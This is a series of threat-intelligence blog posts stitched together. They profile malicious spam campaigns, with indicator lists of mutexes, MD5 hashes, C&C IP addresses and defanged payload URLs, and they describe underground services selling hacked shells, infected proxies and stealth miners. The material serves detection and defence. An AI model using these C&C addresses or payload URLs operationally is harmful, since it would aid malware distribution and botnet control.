B06DD013937F} Global{D30C91FE-A19F-28E1-89EB-
B06DA816937F} Global{D30C91FE-A19F-28E1-F9EF-
B06DD812937F} Global{D30C91FE-A19F-28E1-E5EF-
B06DC412937F} Global{D30C91FE-A19F-28E1-0DEE-
B06D2C13937F} Global{D30C91FE-A19F-28E1-09ED-
B06D2810937F} Global{D30C91FE-A19F-28E1-51EF-
B06D7012937F} Global{D30C91FE-A19F-28E1-35EC-
B06D1411937F} Global{D30C91FE-A19F-28E1-55EF-
B06D7412937F} Global{DDB39BDC-ABBD-265E-DBC9-
BE58FA349D4A} Global{2E1C200D-106C-D5F1-DBC9-
BE58FA349D4A} MPSWabDataAccessMutex
MPSWABOlkStoreNotifyMutex*

It then phones back to the following C&C servers:
*213.123.186.173 88.68.122.74 68.22.158.150 130.251.186.103
220.255.230.41 95.104.124.51 62.1.222.171 174.96.27.128
75.32.154.102 174.6.141.85 108.197.50.249 108.60.184.54
107.193.222.108 71.43.167.82 216.21.197.54 203.81.192.36
217.114.113.148 99.0.126.100 108.227.104.254 74.95.239.117
95.224.253.62 174.141.40.194 99.1.206.145 67.78.107.130
87.146.141.56 95.104.16.83 68.117.10.58 188.121.218.120
93.177.136.143 97.78.65.201 212.58.125.106 151.66.147.254
66.128.168.151 190.167.163.155 122.174.206.2 222.173.101.226
124.104.159.14*

We’re also aware of the following malicious MD5s that have phoned back to the same C&C IPs, over the past month:
*MD5: 92f7472d55b74161fe1cbdc7b74579ee MD5:
5b7dfd54792235b6d5fb7263befca803 MD5:
856ceaffd52b043c429a5e96208118c1 MD5:
bc852222b67fcf145f4e1c3027e1e76a MD5:
1b15467c4bc1809f464efbac71a840eb MD5:
f5c1521d15abbe4f42ced730e6b03f6f MD5:
0c17a2c9baec309c2795363c54d4d1a1 MD5:
8dab06b40ff79d7e09b61bd62b190833 MD5:
bc561a4c2fceee57e11894a64410e4c8 MD5:
5286979a90b77b3387db7a3aaf15d065 MD5:
93cb982f40b0f6501ded641401c39171 MD5:
8d6ac22d6cb874d072d54ce537329400 MD5:
08a0a0d21a6cf4575e95ec4db16b5ad8 MD5:
99e8ccecde4cba2452c757f123e08cef MD5:
52357c2539a2953443260e84a40ae5ad MD5:
867802b2b074a9e38af7fc2e44fa738b MD5:
3567fa4afb087510ba0f50129ea44f58 MD5:
0dc200ee9c98c4d22f1e4de9ab897225 MD5:
fdd5b409d466085257798f85de7ab6c2 MD5:
c381a97c1b4cc51b476e64e4a3d67007 MD5:
ba66cb6330fb27e009a9bdae6bb6dd36 MD5:
80b0eaf741c1c67ae002826564b16a3d MD5:
b45f1417811ac9caa4a4f683b8483c3b MD5:
211d2b3db3f7832f92adb5c5c7946cc5 MD5:*

7a9c0baf18053636aa102f2cd9a7f55f MD5:
ca718ed4fc614a7fa6cde31d8c476e7b MD5:
afc4b0650e594824885faa950e5b5f71 MD5:
e188446962d4a87e2dc0fdbe80f1c9be MD5:
b3eeb6006dfc3016252c1cac8b9878da MD5:
085ee57d389316c0b4887169f0cec239 MD5:
257f407f8de807879dee0e49e6a38a66 MD5:
70b93f41f724bc3a485175be65952be4 MD5:
085ee57d389316c0b4887169f0cec239 MD5:
257f407f8de807879dee0e49e6a38a66 MD5:
70b93f41f724bc3a485175be65952be4

And we've already seen some of these C&C servers (213.123.186.173; 107.193.222.108) in the following profiled malicious campaigns:

Cybercriminals impersonate Bank of America (BofA), serve malware Spamvertised 'Export License/Invoice Copy' themed emails lead to malware

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'iPhone Picture Snapshot Message' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

We've just intercepted a currently circulating malicious spam campaign that's attempting to trick iPhone owners into thinking that they've received a 'picture snapshot message'. Once users execute the malicious attachment, their PCs automatically join the botnet operated by the cybercriminal/gang of cybercriminals, whose activities we've been closely monitoring over the last couple of months.

More details:

Detection rate for the malicious attachment – **MD5: b7fa4173cf694f53a2597e9eca21ab4c** – detected by 10 out of 46 antivirus scanners as Trojan-PSW.Win32.Tepfer.orbb; Troj/Agent-ADAU.

Once executed it starts listening on port 5179.

The sample then creates the following Mutexes:
Groove:PathMutex:[LUt+jL/YbxUWwjk7hRky++rqRco=]
Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}

Global{3158EDA2-DDC3-CAB5-11EB-B06D3016937F}
Global{3158EDA2-DDC3-CAB5-75EA-B06D5417937F}
Global{3158EDA2-DDC3-CAB5-4DE9-B06D6C14937F}
Global{3158EDA2-DDC3-CAB5-65E9-B06D4414937F}
Global{3158EDA2-DDC3-CAB5-89E9-B06DA814937F}
Global{3158EDA2-DDC3-CAB5-BDE9-B06D9C14937F}
Global{3158EDA2-DDC3-CAB5-51E8-B06D7015937F}
Global{3158EDA2-DDC3-CAB5-81E8-B06DA015937F}
Global{3158EDA2-DDC3-CAB5-FDE8-B06DDC15937F}
Global{3158EDA2-DDC3-CAB5-0DEF-B06D2C12937F}
Global{3158EDA2-DDC3-CAB5-5DEF-B06D7C12937F}
Global{3158EDA2-DDC3-CAB5-95EE-B06DB413937F}
Global{3158EDA2-DDC3-CAB5-F1EE-B06DD013937F}
Global{3158EDA2-DDC3-CAB5-89EB-B06DA816937F}
Global{3158EDA2-DDC3-CAB5-F9EF-B06DD812937F}
Global{3158EDA2-DDC3-CAB5-E5EF-B06DC412937F}
Global{3158EDA2-DDC3-CAB5-0DEE-B06D2C13937F}
Global{3158EDA2-DDC3-CAB5-09ED-B06D2810937F}
Global{3158EDA2-DDC3-CAB5-51EF-B06D7012937F}
Global{3158EDA2-DDC3-CAB5-35EC-B06D1411937F}
Global{3158EDA2-DDC3-CAB5-D5EB-B06DF416937F}
Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

It then phones back to the following C&C servers+downloads additional malware: *hxxp://62.76.187.113/inop/ge.php* (***62-76-187-113.clodo.ru, AS57010***) *hxxp://62.76.187.113/par/2.exe 68.22.158.150 75.1.200.201 203.45.203.83 99.26.122.34 108.74.172.39 68.117.10.58 71.90.134.19 174.96.27.128 68.76.122.163 108.60.184.54 67.77.13.23 108.202.187.155 90.156.118.144 203.81.192.36 123.238.64.66 78.8.206.100 108.197.50.249 66.63.204.26 189.253.90.151 108.215.5.249 27.87.30.242 94.240.232.143 95.104.30.151 50.77.206.10 78.139.149.134 77.21.184.219 95.247.117.146 41.222.248.145 42.98.129.251 64.180.81.249 83.228.0.230 69.156.49.21 71.194.139.192 79.37.7.109*

We’ve already seen some of the C&C IPs (*108.74.172.39; 90.156.118.144; 66.63.204.26; 94.240.232.143*) in the following previous profiled campaigns, launched by the same cybercriminal/gang of cybercriminals:

FedWire 'Your Wire Transfer' themed emails lead to malware Citibank 'Merchant Billing Statement' themed emails lead to malware Cybercriminals impersonate New York State's Department of Motor Vehicles (DMV), serve malware Fake 'Unsuccessful Fax Transmission' themed emails lead to malware Spamvertised 'Export License/Invoice Copy' themed emails lead to malware Cybercriminals impersonate Bank of America (BofA), serve malware

Detection rate for the additionally downloaded malware – 2.exe – **MD5: 8c8d43c8cfacf6d5c04e6f6ac7d4ff54** – detected by 2 out of 46 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed it starts listening on port 5288.

Creates the following Mutexes: *Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A} Global{36C6EA7F-DA1E-CD2B-11EB-B06D3016937F} Global{36C6EA7F-DA1E-CD2B-75EA-B06D5417937F} Global{36C6EA7F-DA1E-CD2B-4DE9-B06D6C14937F} Global{36C6EA7F-DA1E-CD2B-65E9-B06D4414937F} Global{36C6EA7F-DA1E-CD2B-89E9-B06DA814937F} Global{36C6EA7F-DA1E-CD2B-BDE9-B06D9C14937F} Global{36C6EA7F-DA1E-CD2B-51E8-B06D7015937F} Global{36C6EA7F-DA1E-CD2B-81E8-B06DA015937F} Global{36C6EA7F-DA1E-CD2B-FDE8-B06DDC15937F} Global{36C6EA7F-DA1E-CD2B-0DEF-*

B06D2C12937F} Global{36C6EA7F-DA1E-CD2B-5DEF-B06D7C12937F} Global{36C6EA7F-DA1E-CD2B-95EE-B06DB413937F} Global{36C6EA7F-DA1E-CD2B-F1EE-B06DD013937F} Global{36C6EA7F-DA1E-CD2B-89EB-B06DA816937F} Global{36C6EA7F-DA1E-CD2B-F9EF-B06DD812937F} Global{36C6EA7F-DA1E-CD2B-E5EF-B06DC412937F} Global{36C6EA7F-DA1E-CD2B-0DEE-B06D2C13937F} Global{36C6EA7F-DA1E-CD2B-09ED-B06D2810937F} Global{36C6EA7F-DA1E-CD2B-51EF-B06D7012937F} Global{36C6EA7F-DA1E-CD2B-35EC-B06D1411937F} Global{36C6EA7F-DA1E-CD2B-55EF-B06D7412937F} Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

It then phones back to the following C&C servers: *68.22.158.150 75.1.200.201 203.45.203.83 99.26.122.34 108.74.172.39 68.117.10.58 71.90.134.19 174.96.27.128 68.76.122.163 108.60.184.54 67.77.13.23 108.202.187.155 90.156.118.144 203.81.192.36 123.238.64.66 78.8.206.100 108.197.50.249 66.63.204.26 189.253.90.151 108.215.5.249 27.87.30.242 50.77.206.10 94.240.232.143 95.104.30.151 78.139.149.134 77.21.184.219 95.247.117.146 41.222.248.145 42.98.129.251 64.180.81.249 83.228.0.230 69.156.49.21 71.194.139.192 79.37.7.109 95.224.106.243 96.10.227.54 157.157.224.14*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New 'Hacked shells as a service' empowers cybercriminals with access to high page rank-ed Web sites - Webroot Blog

facebook linkedin twitter

Whether it's **abusing the 'Long Tail' of the Web** by systematically and efficiently exploiting tens of thousands of legitimate Web sites, or the quest to compromise few, but high-trafficked, high page rank empowered Web sites, compromised shell accounts are an inseparable part of the cybercrime ecosystem.

Aiming to fill in a niche in the market segment for **compromised/hacked shells** , a newly launched service is offering a self-service type of underground market proposition, whose inventory is currently listing over 6000 compromised/hacked shells internationally.

More details:

Sample screenshots of the 'inventory' of the service:

Potential customers are allowed to search by a specific TLD, as well as the option to filter the search results based on the price, page rank, 'age' of the domain, Alexa ranking, language, and number of pages indexed by Google.

Throughout the last couple of years, multi-tasking cybercriminals started abusing access to these compromised sites in multiple fraudulent/purely malicious ways. From blackhat SEO (search engine optimization), to the direct hosting of malware and phishing pages on the compromised sites, the vibrant underground market segment for compromised shells continues to facilitate the (commercial) exchange of access to compromised Web sites. Due to the overall availability of **DIY** botnet generating tools, we expect that this market segment will continue flourishing, with cybercriminals finding more 'creative' and customer-oriented 'solutions' to automate the buying/selling process.

Consider going through the following posts if you’re interested in knowing more about the monetization techniques observed over the last couple of years, in terms of compromised shells as means for abusing access to a particular Web site:

p0rn.gov – The Ongoing Blackhat SEO Operation The Continuing .Gov Blackat SEO Campaign The Continuing .Gov Blackhat SEO Campaign – Part Two Monetizing Web Site Defacements Underground Multitasking in Action Compromised Sites Serving Malware and Spam Web Site Defacement Groups Going Phishing Blackhat SEO Campaign at The Millennium Challenge Corporation

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Malware-infected hosts as stepping stones' service offers access to hundreds of compromised U.S based hosts - Webroot Blog

facebook linkedin twitter

Malware-infected hosts with clean IP reputation have always been a desirable underground market item. On the majority of occasions, they will either be abused as distribution/infection vector, used as cash cows, or as **‘stepping stones’** , risk-forwarding the responsibility, and distorting the attribution process, as well as adding an additional **OPSEC (Operational Security)** layer to the campaign of the malicious attacker.

A newly launched ‘malware-infected hosts as stepping stones’ service, is offering access to Socks5-enabled malware hosts, located primarily in the United States, allowing virtually anyone to route their fraudulent/malicious traffic through these hosts.

More details:

Sample screenshots listing the ‘infected-hosts inventory’ of the service:

The service is also offering a Jabber based bot for interacting with it. The prices are as follows:

150 socks 5 enabled hosts for 1 month – $25
300 socks 5 enabled hosts for 1 month – $40
600 socks 5 enabled hosts for 1 month – $50
900 socks 5 enabled hosts for 1 month – $60
1500 socks 5 enabled hosts for 1 month – $90

The concept of **using malware-infected hosts as stepping stones** has been around for years, empowering virtually everyone to **engineer political/cyber tensions** between multiple nations, taking into consideration the fact that any given attack pattern can be

made to look like as if it’s originating from a specific country , thanks to the commercial availability of these services.

We expect to continue observing a steady supply of such services, in particular the inevitable re-emergence of the ‘on demand’ market concept, allowing the easy acquisition of Socks 5 enabled hosts in any given country that’s requested by the customer.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY commercially-available 'automatic Web site hacking as a service' spotted in the wild - Webroot Blog

facebook linkedin twitter

A newly launched underground market service, aims to automate the unethical penetration testing process, by empowering virtually all of its (paying) customers with what they claim is ‘private exploitation techniques’ capable of compromising any Web site.

More details:

Sample screenshots of the DIY automatic Web site hacking service+colors of the displayed output:

the service offers a demo of the hacking process for several (vulnerable) Web sites
the price for scanning a single Web site is $5, and if a scanned Web site can be hacked using the service, the price becomes $50
the instructions of the service state that – “We don’t touch our (country’s) Web sites, and our law enforcement doesn’t touch us”
the service doesn’t utilize Google for finding vulnerable Web sites on a mass scale, instead it allows the cybercriminal to manually enter the Web site about to get unethically pen-tested
even if the service cannot automatically hack into the Web site (based on what the service claims are private techniques for exploitation) the specially displayed output is supposed to increase the probability for a successful compromise
the service also offers consultation for hacking into any given Web site, with the prices varying between $1000 to $50,000
the service successfully detects Microsoft SQL Server, Oracle, MS Access

The current inability of this boutique service to cause widespread damage by empowering its customers to amass Web site hacking capabilities through search engine’s reconnaissance/predefined list of targets, will inevitably minimize its impact within the cybercrime ecosystem.

The commercial availability of **DIY Google Dorks Web site exploitation tools** , the existence of **stealth Apache modules** , and **sophisticated exploitation platform** s, have greatly contributed to the development of new market segments within the cybercrime ecosystem. And with their effectiveness in terms of scalability and 'innovation' throughout the entire cybercriminal 'assembly line', they will continue to act as a major driving force, capturing a decent market share of malicious activity online.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Custom USBs Bypassing Windows 7/8's AutoRun Protection On Rise | Webroot

facebook linkedin twitter

When **Microsoft disabled AutoRun on XP and Vista back in February, 2011** , everyone thought this was **game over** for the bad guys who were abusing the removable media distribution/infection vector in particular. However, pragmatic and market demand-driven opportunistic cybercrime-friendly vendors quickly realized that this has opened up a new business opportunity, that is, if they ever manage to find a way to bypass Microsoft's AutoRun protection measures.

Apparently, they seem to have a found a way to bypass the protection measure by tricking Windows into thinking that the connected USB memory stick is actually a 'Human Interface Device' (keyboard for instance), allowing them to (physically) execute custom scripts within 30/40 seconds of connecting the custom USB memory stick to the targeted PC.

From theory into practice, let's profile their international underground market propositions and discuss the impact **these USB sticks** could have in today's bring your own device (BYOD) corporate environment.

More details:

Sample screenshots of the actual advertisements:

According to the advertisement, the malicious script/file executes in under 50 seconds on first mount, and within 30 seconds on a second re-mount, followed by just 6 seconds of visible (malicious) activity on the screen, with the vendor behind the 'solution' also working on Mac OS X version. The price for a custom 128MB USB memory stick is $54, and the price for a custom 8GB USB memory stick is $64.

We're also aware of yet another cross-platform (Windows, Mac OS X, Linux) commercially available (not advertised at any cybercrime-friendly communities for the time being) AutoRun protection bypassing ‘solution’, relying on the same concept as the first one. However, due to its payload generating capability, custom scripting language, and lower price ($39.99), we expect that the custom USB ‘solution’ pitched to pen-testers internationally would remain the tactic of choice to anyone wanting to compromise a host, once they manage to bypass the physical security (if any) in place.

Time to get back to the basics – physical security.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How much does it cost to buy one thousand Russian/Eastern European based malware-infected hosts? - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

For years, many of the primary and market-share leading ‘malware-infected hosts as a service’ providers have become used to selling exclusive access to hosts from virtually the entire World, excluding the sale and actual infection of Russian and Eastern European based hosts. This sociocultural trend was then disrupted by the Carberp gang, which **started targeting Russian and Eastern European users** , demonstrating that greed knows no boundaries and which ultimately led **Russian and Ukrainian law enforcement** to the group.

What’s the probability that Russian/Eastern European cybercriminals will continue targeting their own fellow citizens in an attempt to monetize the access to their PCs in the most efficient and profitable way possible? Huge.

In this post, I’ll profile a recently launched ‘malware-infected hosts as a service’ type of underground market service proposition selling access to Eastern European based hosts, discuss the pricing scheme used, as well as emphasize on the long-term perspective of these services. All during a time where novice cybercriminals have access to sophisticated **DIY (do it yourself)** malware generating tools.

More details:

Sample screenshot of the underground market advertisement:

A thousand malware infected hosts in Ukraine goes for $149, a thousand malware-infected hosts in Russia goes for $150, a thousand malware-infected hosts in Kazakhstan goes for $100 and a thousand malware-infected hosts in Belarus goes for $100, and lastly, a thousand host “Mix” goes for $25. The service also allows the purchase of a hundred hosts for $3, but fellow cybercriminals will only get access to a panel to monitor the activity, allowing them to confirm the ‘legitimacy’ of the service proposition.

The cybercriminal behind the service accepts WebMoney, Bitcoin and Yandex Money.

Either as the result of active large-scale malicious spam campaigns or targeted malware attacks, the cybercriminal behind this service is taking advantage of a basic marker concept known as market segmentation, allowing fellow cybercriminals to directly abuse the access of PCs located in their country of choice.

Meanwhile, in a series of blog posts, we’ve been highlighting a trend that’s been an everyday reality over the last couple of years, namely the fact that **U.S based malware-infected hosts continue commanding the highest price** in ‘malware-infected hosts as a service’ underground markets. What the current Russia/Eastern Europe-centered service demonstrates is that, geographically dispersed infected locations continue having their prices shaped using perceived value/competition based pricing schemes.

As always, we’ll keep an eye on the future development of this service and post updates as soon as new features are introduced.

New to the Threat Blog? Consider catching up with the following previously profiled underground services:

New E-Shop sells access to thousands of malware-infected hosts, accepts Bitcoin Newly launched E-shop for hacked PCs charges based on malware ‘executions’ New underground service offers access to thousands of malware-infected hosts New service converts malware-infected hosts into anonymization proxies Hacked PCs as ‘anonymization stepping-stones’ service operates in the open since 2004

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Rogue ads lead to the 'Free Player' Win32/Somoto Potentially Unwanted Application (PUA) - Webroot Blog

facebook linkedin twitter

Remember the **Win32/Somoto.BetterInstaller Potentially Unwanted Application (PUA)** ? We've just intercepted the latest rogue ad-campaign launched by a participant in their affiliate network, potentially exposing socially engineered users to privacy-invading risks without their knowledge.

More details:

Sample screenshot of the actual ad:

Sample screenshot of the landing page:

Rogue URL: *hxxp://www.softigloo.com/nlp/e/matomy/free_media_player* – 78.138.105.151

Detection rate for the PUA: **MD5: 3ee49800cc3c2ce74fa63e6174c81dff** – detected by 16 out of 46 antivirus scanners as Somoto BetterInstaller; Win32/Somoto.A.

More Potentially Unwanted Applications (PUAs) are known to have been downloaded from the same IP (78.138.105.151): *MD5: 0d2a33231e3ea4377daa9aba69badc07 MD5: 569e64fe813cbfeb5f5645c6962da6d3 MD5: 88aa0405e0afad5844471db9a2c7cfb4 MD5: 91dab216e83be379a5690e10cd6f5c95 MD5: 609346344a6dfbd2cbc1fc6f97fd1449 MD5: 1fe6c1c4f166fa77601e4bac3f0c29b3 MD5: b0e362b142c90357ca1e7f1ae4c7b25a MD5: fbd7091a58119d2b5faeac129b27cb2b MD5: 7de8af856ca66b2c23e28aef56da8ac9 MD5: ccefee1fefcd7683ec531e3227952854 MD5: 06266b90c304d91e85d7a1dd33301857 MD5: 14a82de2614d466202ae973428a4be21 MD5:*

3ee49800cc3c2ce74fa63e6174c81dff MD5:
32de3ecdcb996cf736d5397a30a53c5a MD5:
f5cc40041780eb4c9fc814888b7a4222 MD5:
0d1a632d18f7cbd2c1ab86772910e5bd MD5:
cc95ae053393c43481bb55fb63a53158 MD5:
37afc6deca650258a6e460c156de8ce7 MD5:
22100b2a79b0ae408ddfd010623b0437 MD5:
21c3c1f47b68de52785f93bdd961c566 MD5:
02696da461918bd98324172130947d24 MD5:
7188e0950fb91a95ab71768a1421d409 MD5:
3967c2686efea20264bff333a935c7ba MD5:
b06882e68a5f7fbd0aff04e52c5e4594 MD5:
44b0d714486c230be83abf95a5e287ba MD5:
2da8c25cd6b6f5466b27bd815a1479a6 MD5:
f2b968c975f27a4d2212c98ecb818912 MD5:
b061e2a27452f74226d698e1b3e124bb MD5:
f567b39c5f895dd49367ebb87ac071da MD5:
f4fef07d24fd8945dbfe9fef0a1613ff MD5:
236eb0c32b0cf3a9e169b05953228dc0

Webroot SecureAnywhere users are proactively protected from these PUAs.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Copy of Vodafone U.K Contract/Your Monthly Vodafone Bill is Ready/New MMS Received' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals continue targeting U.K based Internet users in an attempt to trick them into thinking that they've received a legitimate email from **Vodafone** U.K. We've intercepted two, currently circulating, malicious spam campaign that once again impersonate Vodafone U.K, this time relying on a bogus "*Copy of Vodafone U.K* " themed messages, the ubiquitous '*MMS Message Received* ' campaign, as well as the most recent '*Your Monthly Vondafone Bill is Ready* ' theme.

More details:

Sample screenshots of the spamvertised emails:

Detection rates for the spamvertised malicious attachments: **MD5: a5bdeaadb002e12a38c9d354097f9a9a** – detected by 30 out of 46 antivirus scanners as Backdoor.Win32.Androm.aehi; TrojanDownloader:Win32/Dofoil.R.
MD5: 6aeacb54d57cddff1b1b39d2d3b32140 – detected by 6 out of 47 antivirus scanners as Artemis!6AEACB54D57C; UDS:DangerousObject.Multi.Generic.
MD5: 3965d6f027812306ea953dbd0ac0bce0 – detected by 6 out of 47 antivirus scanners as Heuristic.BehavesLike.Win32.ModifiedUPX.C; Trojan/Win32.Tepfer.

The last sample marks its presence on the affected systems through the following Mutexes:
CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004
0B298A164743E1643757A7223C7E2D3470144646

All of these samples phone back to the same C&C server: *hxxp://37.139.47.159/fexco/com/index.php* (37-139-47-159.clodo.ru, AS56534)

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly launched 'HTTP-based botnet setup as a service' empowers novice cybercriminals with bulletproof hosting capabilities - Webroot Blog

facebook linkedin twitter

A newly launched managed ‘HTTP-based botnet setup as a service’ aims to attract novice cybercriminals who’ve just purchased their first commercially available malware bot — or managed to obtain a cracked/leaked version of it — but still don’t have the necessary experience to operate, and most importantly, host the command and control server online.

More details:

Sample screenshot of the actual advertisement:

The managed service currently offers hosting services and manuals for 5 DIY botnet malware generating tools. The service doesn’t appear to be a franchise related to one of the hardcore bulletproof hosting providers used primarily by Russia and eastern European cybercriminals, and currently, only supports HTTP based C&C traffic.

Just how profitable would such a business model be? According to the vendor of the service, he’s currently managing bulletproof hosting services for 65 **‘beneath the radar’ type of** **botnets** , that are most commonly generated using commercially available versions of cracked/leaked DIY botnet bulding tools, like the ones we’ve been profiling for quite some time now:

A peek inside a (cracked) commercially available RAT (Remote Access Tool) **DIY Java-based RAT (Remote Access Tool) spotted in the wild** **New DIY RDP-based botnet generating tool leaks in the wild** **New DIY IRC-based DDoS bot spotted in the wild** **New DIY HTTP-based botnet tool spotted in the wild** **Leaked DIY malware generating tool spotted in the wild**

The **re-emergence of the DIY (do it yourself) trend** within the international marketplace, in a combination with the rise of Cybercrime-as-a-Service type of propositions, indicates that both of these concepts can actively contribute to the maturing state of the cybercrime ecosystem; instead of competing with one another as concepts that could have somehow lead to any form of market stagnation.

We expect to continue observing an increase in diversified monetization approaches applied by novice cybercriminals, aiming to empower fellow novice cybercriminals with the necessary know-how to operate and retain access to their generated botnets.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Deceptive 'Media Player Update' ads expose users to the rogue 'Video Downloader/Bundlore' Potentially Unwanted Application (PUA) - Webroot Blog

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

Yet another commercially available stealth Bitcoin/Litecoin mining tool spotted in the wild - Webroot Blog

facebook linkedin twitter

Cybercriminals continue releasing new, commercially available, stealth Bitcoin/Litecoin mining tools, empowering novice cybercriminals with the ability to start monetizing the malware-infected hosts part of their botnets, or the ones they have **access to** which they've **purchased** through a **third-party malware-infected hosts selling service**.

What's so special about the latest mining tool that popped up on our radar? Let's find out.

More details:

Sample screenshots of the stealth Bitcoin/Litecoin mining tool's admin panel:

The Web-based, Stratum-protocol supporting Bitcoin/Litecoin stealth mining tool is coded in Visual Basic 6, and has the following features:

Persistence on the affected host
Automatic detection of idle-ing host
Startup options
Miner running from memory
Statisics for the system specifications
Mining statistics (hash rate)
HTML5 based Web interface
Competing bot killing capabilities

The price? $70 USD for a bin and access to a Web panel, and another 10 USD for an updated re-build. No actual **DIY (do it yourself)** building tool is offered.

What's particularly interesting about this release is the fact that the cybercriminal behind it released it in a way that would prevent its mass spreading, supposedly due to the fact that he doesn't want to attract the attention of security vendors whose sensor networks would easily pick up any massive campaigns featuring the miner. Therefore, he's currently offering a limited number of copies of this miner.

Over the last couple of months we've been intercepting multiple **subscription-based** or **DIY** type of **stealth Bitcoin/Litecoin miners** , indicating that the international underground marketplace is busy responding to the demand for such type of tools. Despite the fact that Bitcoin is a 'trendy' E-currency, we believe that for the time being, Russian and Eastern European cybercrime gangs will continue to maintain a large market share of the underground's market profitability metric, due to their utilization of mature, evasive, and efficient monetization tactics.

We'll continue monitoring this international underground market segment, and post updates as soon as new releases are introduced to potential cybercriminals.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

